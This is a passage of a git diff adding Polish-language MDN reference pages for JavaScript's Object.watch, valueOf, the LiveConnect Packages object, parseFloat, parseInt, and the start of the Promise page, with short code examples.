+ <dt><code>wlasnosc</code> </dt>
+ <dd>Nazwa obserwowanej własności obiektu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Debuger JavaScriptu posiada możliwości podobne do tych dostarczonych przez metodę <code>watch</code>, jak również wiele innych narzędzi przydatnych podczas analizy kodu. Więcej informacji można znaleźć na stronie <a href="/pl/docs/Venkman">Venkman</a>.</p>
+
+<p>Domyślnie metoda ta jest dziedziczona przez każdy obiekt wyprowadzony z obiektu <code>Object</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<ul>
+ <li>{{jsxref("Object.watch()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html
new file mode 100644
index 0000000000..db3cf7a346
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html
@@ -0,0 +1,63 @@
+---
+title: Object.prototype.valueOf()
+slug: Web/JavaScript/Referencje/Obiekty/Object/valueOf
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+---
+<p>{{jsRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca wartość podstawową danego obiektu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>object</var>.valueOf()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>JavaScript wywołuje metodę <code>valueOf()</code> by przekonwertować obiekt do wartości podstawowej. Metodę <code>valueOf</code> rzadko wykorzystuje się w pisanych programach, zazwyczaj JavaScript wywołuje ją automatycznie, kiedy oczekując wartości podstawowej napotka obiekt.</p>
+
+<p>Domyślnie metoda <code>valueOf()</code> jest dziedziczona przez każdy obiekt potomny obiektu {{jsxref("Object")}}. Każdy wbudowany obiekt jądra JavaScriptu przesłania tę metodą by zwracała właściwą wartość. Jeśli obiekt nie ma wartości podstawowej, <code>valueOf()</code> zwraca sam obiekt, który jest wyświetlany jako:</p>
+
+<pre>[object Object]
+</pre>
+
+<p>We własnych programach można oczywiście używać metody <code>valueOf</code> do konwersji obiektów na wartości podstawowe. Kiedy użytkownik tworzy własne obiekty, może przesłonić metodę <code>valueOf()</code> własną wersją.</p>
+
+<h3 id="Przes.C5.82anianie_metody_valueOf_dla_w.C5.82asnych_obiekt.C3.B3w" name="Przes.C5.82anianie_metody_valueOf_dla_w.C5.82asnych_obiekt.C3.B3w">Przesłanianie metody <code>valueOf</code> dla własnych obiektów</h3>
+
+<p>Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody <code>valueOf</code>. Taka funkcja nie powinna mieć argumentów.</p>
+
+<p>Załóżmy, że mamy typ obiektowy <code>MojTypLiczbowy</code> i chcemy utworzyć dla niego metodę <code>valueOf</code>. Poniższy kod przypisuje zdefiniowaną przez użytkownika funkcję do metody <code>valueOf</code> obiektu:</p>
+
+<pre class="brush: js">MojTypLiczbowy.prototype.valueOf = new Function(tekstFunkcji);
+</pre>
+
+<p>Dzięki powyższej instrukcji za każdym razem, kiedy obiekt typu <code>MojTypLiczbowy</code> jest używany w kontekście wartości prostej, JavaScript automatycznie wywoła funkcję zdefiniowaną powyżej.</p>
+
+<p>Metoda <code>valueOf</code> obiektu jest zwykle wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie:</p>
+
+<pre class="brush: js">mojaLiczba.valueOf();
+</pre>
+
+<h3 id="Uwaga" name="Uwaga">Uwaga</h3>
+
+<p>Obiekty używane w kontekście łańcucha znaków konwertowane są przy użyciu metody <code><a href="/pl/docs/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/toString">toString</a></code>, co różni się od konwertowania obiektów <code>String</code> do prostych łańcuchów znaków poprzez <code>valueOf</code>. Wszystkie obiekty posiadają konwersję do łańcucha znaków, choćby <code>[object
+ <i>typ</i>
+ ]</code>. Ale wiele obiektów nie posiada domyślnej konwersji do liczby, wartości logicznej lub funkcji.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/watch/index.html b/files/pl/web/javascript/referencje/obiekty/object/watch/index.html
new file mode 100644
index 0000000000..f13e38aaa1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/watch/index.html
@@ -0,0 +1,78 @@
+---
+title: Object.prototype.watch()
+slug: Web/JavaScript/Referencje/Obiekty/Object/watch
+tags:
+ - JavaScript
+ - Method
+ - Non-standard
+ - Object
+ - Prototype
+translation_of: Archive/Web/JavaScript/Object.watch
+---
+<p>{{JSRef}}{{ Non-standard_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Obserwuje własność obiektu i wywołuje funkcję, kiedy nastąpi przypisanie wartości do tej własności.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>obj.watch(<i>wlasnosc</i> ,
+<i>monitor</i>) </code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>wlasnosc</code> </dt>
+ <dd>Nazwa obserwowanej własności obiektu.</dd>
+</dl>
+
+<dl>
+ <dt><code>monitor</code> </dt>
+ <dd>Funkcja, która ma zostać wywołana przy zmianie własności.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obserwuje własność <code>wlasnosc</code> danego obiektu i wywołuje <code>monitor(wlasnosc, stara_wartosc, nowa_wartosc)</code> kiedy tylko <code>wlasnosc</code> jest ustawiana. Funkcja monitorująca może filtrować (lub zerować <span class="nowiki">[ang. 'nullify']</span>) przypisanie wartości, zwracając zmodyfikowaną <code>nowa_wartosc</code> (lub <code>stara_wartosc</code>).</p>
+
+<p>Jeśli zostanie usunięta własność, która miała funkcję monitorującą, ta funkcja monitorująca nie znika. Jeśli później własność ta zostanie odtworzona, funkcja monitorująca ciągle działa.</p>
+
+<p>Aby usunąć funkcję monitorującą, należy użyć metody {{jsxref("Object.unwatch", "unwatch()")}} Domyślnie metoda <code>watch</code> jest dziedziczona przez każdy obiekt pochodzący od {{jsxref("Object")}}.</p>
+
+<p>Debuger JavaScriptu posiada możliwości podobne do tych dostarczonych przez metodę <code>watch</code>, jak również wiele innych narzędzi przydatnych podczas analizy kodu. Więcej informacji można znaleźć na stronie <a href="/pl/docs/Venkman">Venkman</a>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_watch_i_unwatch" name="Przyk.C5.82ad:_Zastosowanie_watch_i_unwatch">Przykład: Zastosowanie <code>watch</code> i <code>unwatch</code></h3>
+
+<pre class="brush: js">var o = {p:1};
+o.watch("p",
+ function (id,oldval,newval) {
+ document.writeln("o." + id + " zmieniona z "
+ + oldval + " na " + newval);
+ return newval;
+ });
+
+o.p = 2;
+o.p = 3;
+delete o.p;
+o.p = 4;
+
+o.unwatch('p');
+o.p = 5;
+</pre>
+
+<p>Powyższy skrypt wyświetla:</p>
+
+<pre>o.p zmieniona z 1 na 2
+o.p zmieniona z 2 na 3
+o.p zmieniona z undefined na 4
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.unwatch()")}}</li>
+ <li>{{jsxref("Object.observe()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/packages/index.html b/files/pl/web/javascript/referencje/obiekty/packages/index.html
new file mode 100644
index 0000000000..a676a3f297
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/packages/index.html
@@ -0,0 +1,50 @@
+---
+title: Packages
+slug: Web/JavaScript/Referencje/Obiekty/Packages
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/Packages
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b>
+</p><p>Obiekt najwyższego rzędu umożliwiający dostęp do klas języka Java z poziomu kodu JavaScriptu.
+</p>
+<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3>
+<p>Obiekt <code>Packages</code> jest predefiniowanym obiektem najwyższego rzędu. Dostęp do niego nie wymaga stosowania konstruktora ani wywoływania żadnych metod.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>Packages</code> pozwala na dostęp do publicznych metod i pól klas języka Java z poziomu kodu w JavaScripcie. Własności <code>java</code>, <code>netscape</code> i <code>sun</code> odpowiadają pakietom <code>java.*</code>, <code>netscape.*</code> i <code>sun.*</code>. Aby uzyskać dostęp do klas, metod i pól w tych pakietach można stosować standardową notację Javy. Na przykład, aby wywołać konstruktor klasy <code>Frame</code> można wykonać poniższy kod:
+</p>
+<pre>var ramka = new Packages.java.awt.Frame();
+</pre>
+<p>Dla wygody programisty JavaScript dostarcza trzech obiektów najwyższego poziomu: <code>netscape</code>, <code>sun</code> i <code>java</code>, które stanowią synonimy dla odpowiednich własności obiektu Packages. Dlatego też z tych pakietów można korzystać bez użycia słowa Packages:
+</p>
+<pre>var ramka = new java.awt.Frame();
+</pre>
+<p>Własność <code><i>nazwaKlasy</i></code> reprezentuje pełną kwalifikowaną nazwę dowolnej innej klasy dostępnej dla JavaScriptu. Aby mieć dostęp do klas poza pakietami <code>netscape</code>, <code>sun</code> i <code>java</code>, należy stosować obiekt <code>Packages</code>
+</p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p><i><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/nazwaKlasy">nazwaKlasy</a></i>: pełna kwalifikowana nazwa klasy Javy w pakiecie innym niż netscape, java i sun, która jest dostępna dla JavaScriptu. </p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/java">java</a>: Dowolna klasa w pakiecie Javy java.*. </p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/netscape">netscape</a>: Dowolna klasa w pakiecie Javy netscape.*. </p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/sun">sun</a>: Dowolna klasa w pakiecie Javy sun.*.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Funkcja_JavaScriptu_tworz.C4.85ca_okno_dialogowe_Javy" name="Przyk.C5.82ad:_Funkcja_JavaScriptu_tworz.C4.85ca_okno_dialogowe_Javy"> Przykład: Funkcja JavaScriptu tworząca okno dialogowe Javy </h4>
+<p>Poniższa funkcja JavaScriptu tworzy okno dialogowe Javy:
+</p>
+<pre>function utworzOkno() {
+ var ramka = new Packages.java.awt.Frame();
+ var okno = new Packages.java.awt.Dialog(ramka);
+ okno.setSize(350,200);
+ okno.setTitle("Witaj, świecie!");
+ okno.setVisible(true);
+}
+</pre>
+<p>W powyższym przykładzie funkcja tworzy <code>okno</code> z użyciem obiektu <code>Packages</code>. Metody <code>setSize</code>, <code>setTitle</code> i <code>setVisible</code> są dostępne dla JavaScriptu jako publiczne metody klasy <code>java.awt.Dialog</code>.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Packages", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/Packages" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/packages/java/index.html b/files/pl/web/javascript/referencje/obiekty/packages/java/index.html
new file mode 100644
index 0000000000..1bd592f727
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/packages/java/index.html
@@ -0,0 +1,49 @@
+---
+title: java
+slug: Web/JavaScript/Referencje/Obiekty/Packages/java
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/Packages/java
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Dowolna klasa Javy z pakietu <code>java.*</code>.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td>
+ </tr>
+ <tr>
+ <td>Zaimplementowana w:</td>
+ <td>JavaScript 1.1, NES2.0</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<p><code>Packages.java </code></p>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Własność <code>java</code> stosuje się by uzyskać dostęp do dowolnej klasy Javy z pakietu <code>java</code> z poziomu JavaScriptu. Warto pamiętać, że obiekt najwyższego rzędu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/java">java</a></code> jest synonimem <code>Packages.java</code>.</p>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_Packages.java" name="Przyk.C5.82ad:_Zastosowanie_Packages.java">Przykład: Zastosowanie <code>Packages.java</code></h4>
+
+<p>Poniższy kod wywołuje konstruktor klasy <code>java.awt.Frame</code>:</p>
+
+<pre>var ramka = new Packages.java.awt.Frame();
+</pre>
+
+<p>Kod ten można uprościć stosując obiekt najwyższego rzędu <code>java</code>:</p>
+
+<pre>var ramka = new java.awt.Frame();
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/packages/nazwaklasy/index.html b/files/pl/web/javascript/referencje/obiekty/packages/nazwaklasy/index.html
new file mode 100644
index 0000000000..9ce2d335ef
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/packages/nazwaklasy/index.html
@@ -0,0 +1,41 @@
+---
+title: nazwaKlasy
+slug: Web/JavaScript/Referencje/Obiekty/Packages/nazwaKlasy
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/Packages/className
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Pełna kwalifikowana nazwa klasy Javy w pakiecie innym niż <code>netscape</code>, <code>java</code> i <code>sun</code>, która jest dostępna dla JavaScriptu.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.1, NES2.0</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+Packages.<i>nazwaKlasy</i>
+</code>
+</p><p>gdzie <code><i>nazwaKlasy</i></code> jest pełną kwalifikowaną nazwą klasy Javy.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Aby uzyskać dostęp do klas Javy poza pakietami <code>netscape</code>, <code>sun</code> i <code>java</code>, należy stosować własność <code><i>nazwaKlasy</i></code> pakietu <code>Packages</code>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Stosowanie_Packages.nazwaKlasy" name="Przyk.C5.82ad:_Stosowanie_Packages.nazwaKlasy"> Przykład: Stosowanie <code>Packages.<i>nazwaKlasy</i></code> </h4>
+<p>Poniższy kod wywołuje konstruktor klasy <code>CorbaObject</code> w pakiecie <code>mojaFirma</code> z poziomu JavaScriptu:
+</p>
+<pre>var obiekt = new Packages.mojaFirma.CorbaObject()
+</pre>
+<p>W powyższym przykładzie wartością własności <code><i>nazwaKlasy</i></code> jest <code>mojaFirma.CorbaObject</code>, pełna kwalifikowana nazwa klasy <code>CorbaObject</code>.
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Packages/className" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/packages/netscape/index.html b/files/pl/web/javascript/referencje/obiekty/packages/netscape/index.html
new file mode 100644
index 0000000000..e1ca87b6bd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/packages/netscape/index.html
@@ -0,0 +1,35 @@
+---
+title: netscape
+slug: Web/JavaScript/Referencje/Obiekty/Packages/netscape
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/Packages/netscape
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Dowolna klasa Javy z pakietu <code>netscape.*</code>.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td>
+ </tr>
+ <tr>
+ <td>Zaimplementowana w:</td>
+ <td>JavaScript 1.1, NES2.0</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<p><code>Packages.netscape </code></p>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Własność <code>netscape</code> stosuje się, by uzyskać dostęp do dowolnej klasy Javy z pakietu <code>netscape</code> z poziomu JavaScriptu. Warto pamiętać, że obiekt najwyższego rzędu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/netscape">netscape</a></code> jest synonimem <code>Packages.netscape</code>.</p>
diff --git a/files/pl/web/javascript/referencje/obiekty/packages/sun/index.html b/files/pl/web/javascript/referencje/obiekty/packages/sun/index.html
new file mode 100644
index 0000000000..d7ab3781a6
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/packages/sun/index.html
@@ -0,0 +1,32 @@
+---
+title: sun
+slug: Web/JavaScript/Referencje/Obiekty/Packages/sun
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/Packages/sun
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Dowolna klasa Javy z pakietu <code>sun.*</code>.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.1, NES2.0</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+Packages.sun
+</code>
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Własność <code>sun</code> stosuje się, by uzyskać dostęp do dowolnej klasy Javy z pakietu <code>sun</code> z poziomu JavaScriptu. Warto pamiętać, że obiekt najwyższego rzędu <code>sun</code> jest synonimem <code>Packages.sun</code>.
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Packages/sun" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html b/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html
new file mode 100644
index 0000000000..9afb58d074
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html
@@ -0,0 +1,68 @@
+---
+title: parseFloat()
+slug: Web/JavaScript/Referencje/Obiekty/parseFloat
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Przetwarza argument w postaci łańcucha znaków zwracając liczbę zmiennoprzecinkową.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox">parseFloat(<em>string</em>)</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>string</code> </dt>
+ <dd>Łańcuch znaków do przetworzenia.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>parseFloat()</code> jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.</p>
+
+<p><code>parseFloat()</code> przetwarza argument będący łańcuchem znaków i zwraca liczbę zmiennoprzecinkową. Jeśli natknie się na znak inny niż <code>+</code>, <code>-</code>, liczbę (<code>0</code>-<code>9</code>), kropkę dziesiętną ("<code>.</code>") lub wykładnik potęgi, zwraca wartość do tego miejsca i ignoruje dany znak oraz wszystkie dalsze znaki. Dozwolone są spacje na początku i na końcu łańcucha znaków.</p>
+
+<p>Jeśli pierwszy znak nie może być przekonwertowany do liczby, <code>parseFloat()</code> zwraca <code>NaN</code>.</p>
+
+<p>W zastosowaniach arytmetycznych, wartość <code>NaN</code> nie jest liczbą w żadnej podstawie wyliczeń (ang.
+
+ <i>radix</i>
+ ). Aby stwierdzić, czy wynik <code>parseFloat</code> będzie <code>NaN</code>, można wywołać funkcję {{jsxref("isNan", "isNaN()")}}. Jeśli wartość <code>NaN</code> użyta zostanie w operacji arytmetycznej, wynikiem operacji także będzie <code>NaN</code>.</p>
+
+<p><b>Uwaga:</b> Funkcja <code>parseFloat</code> wymaga, aby punktem dziesiętnym była kropka, a nie przecinek. Zastosowanie przecinka spowoduje pominięcie części ułamkowej.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h2 id="Przyk.C5.82ad:_parseFloat_zwraca_liczb.C4.99" name="Przyk.C5.82ad:_parseFloat_zwraca_liczb.C4.99">Przykład: <code>parseFloat()</code> zwraca liczbę</h2>
+
+<p>Wszystkie poniższe przykłady zwracają 3.14.</p>
+
+<pre class="brush: js"><code>parseFloat("3.14");
+<code>parseFloat("314e-2");
+<code>parseFloat("0.0314E+2");
+<code>parseFloat("3.14 więcej znaków nienumerycznych");</code></code></code></code></pre>
+
+<h3 id="Przyk.C5.82ad:_parseFloat_zwraca_NaN" name="Przyk.C5.82ad:_parseFloat_zwraca_NaN">Przykład: <code>parseFloat()</code> zwraca NaN</h3>
+
+<p>Poniższy przykład zwraca <code>NaN</code>:</p>
+
+<pre class="brush: js"><code>parseFloat("FF2");</code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/parseint/index.html b/files/pl/web/javascript/referencje/obiekty/parseint/index.html
new file mode 100644
index 0000000000..fb05b9fc8e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/parseint/index.html
@@ -0,0 +1,112 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Referencje/Obiekty/parseInt
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Przetwarza argument w postaci łańcucha znaków i zwraca liczbę całkowitą typu
+ <i>integer</i>
+ , o zadanej podstawie.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox">parseInt(<em>string</em>, <em>radix</em>);</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>string</code> </dt>
+ <dd>Łańcuch znaków zawierający wartość do przetworzenia.</dd>
+</dl>
+
+<dl>
+ <dt><code>radix</code> </dt>
+ <dd>Liczba typu
+ <i>integer</i>
+ określająca podstawę powyższego łańcucha (np. 2 - system dwójkowy, 10 - system dziesiętny, przyp. tłum.)</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>parseInt</code> jest funkcją najwyższego poziomu i nie jest związana z żadnym obiektem.</p>
+
+<p>Funkcja <code>parseInt</code> parsuje jej pierwszy argument, łańcuch znaków, i próbuje zwrócić liczbę całkowitą typu
+
+ <i>integer</i>
+ o podanej podstawie. Na przykład, podstawa 10 oznacza że liczba w łańcuchu jest liczbą dziesiętną, podstawa 8 - ósemkową, 16 - szesnastkową (heksadecymalną), itd. Dla podstaw większych niż 10, litery alfabetu oznaczają cyfry większe niż 9. Dla przykładu, dla liczb szesnastkowych (o podstawie 16), używane są litery od A do F.</p>
+
+<p>Jeśli <code>parseInt</code> natknie się na znak nie będący cyfrą o danej podstawie, ignoruje ona ten znak i wszystkie następne znaki, a następnie zwraca wartość przetworzoną do tej pory. <code>parseInt</code> przycina liczby do wartości całkowitych. Początkowe i grupujące spacje są dozwolone.</p>
+
+<p>Jeśli podstawa nie jest podana lub jest podana jako 0, JavaScript przyjmuje:</p>
+
+<ul>
+ <li>Podstawę <code>16</code>, jeśli łańcuch wejściowy zaczyna się od "<code>0x</code>".</li>
+ <li>Podstawę <code>8</code> jeśli łańcuch wejściowy rozpoczyna się od "<code>0</code>". Ta cecha jest wycofywana.</li>
+ <li>Podstawę <code>10</code> jeśli łańcuch zaczyna się od jakiejkolwiek innej wartości.</li>
+</ul>
+
+<p>Jeśli pierwszy znak nie może być skonwertowany na liczbę, <code>parseInt</code> zwraca <code>NaN</code>.</p>
+
+<p>Dla potrzeb arytmetycznych, wartość <code>NaN</code> nie jest liczbą o żadnej podstawie. Możesz wywołać funkcję {{jsxref("isNaN", "isNaN()")}}, by stwierdzić czy wynik <code>parseInt</code> będzie <code>NaN</code>. Jeśli <code>NaN</code> jest podane do jakichkolwiek operacji arytmetycznych, wynikiem tych operacji również będzie <code>NaN</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_parseInt" name="Przyk.C5.82ad:_Zastosowanie_parseInt">Przykład: Zastosowanie <code>parseInt()</code></h3>
+
+<p>Wszystkie poniższe przykłady zwracają 15:</p>
+
+<pre class="brush: js"><code>parseInt(" 0xF, 16);
+parseInt(" F", 16);
+<code>parseInt("17", 8);
+<code>parseInt(021, 8);
+<code>parseInt(15.99, 10);
+<code><code><code><code>parseInt(<code>"FXX123", 16);</code></code></code></code></code></code></code></code></code>
+<code><code>parseInt("1111", 2);
+<code>parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+<code>parseInt("12", 13);</code></code></code></code></pre>
+
+<p>Wszystkie poniższe przykłady zwracają <strong><code>NaN</code></strong>:</p>
+
+<pre class="brush: js"><code>parseInt("Hello", 8); // nie jest wcale liczbą</code>
+<code>parseInt("546", 2); // te cyfry nie są używane do zapisu liczb binarnych</code></pre>
+
+<p>Wszystkie poniższe przykłady zwracają <strong>-15</strong>:</p>
+
+<pre class="brush: js"><code><code><code><code>parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);</code></code></code></code>
+parseInt("-15.1, 10);
+parseInt(" -17", 8);
+parseInt(" -15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+</pre>
+
+<p>Wszystkie poniższe przykłady zwracają <strong>224</strong>:</p>
+
+<pre class="brush: js"><code><code><code><code>parseInt("0e0", 16);</code></code></code></code></pre>
+
+<p> </p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/promise/index.html b/files/pl/web/javascript/referencje/obiekty/promise/index.html
new file mode 100644
index 0000000000..3da2498ca1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/promise/index.html
@@ -0,0 +1,256 @@
+---
+title: Promise
+slug: Web/JavaScript/Referencje/Obiekty/Promise
+tags:
+ - JavaScript
+ - Obietnice
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p>Obiekt <strong><code>Promise</code></strong> reprezentuje ewentualne zakończenie (lub porażkę) asynchronicznej operacji i jej wartości.</p>
+
+<div class="note">
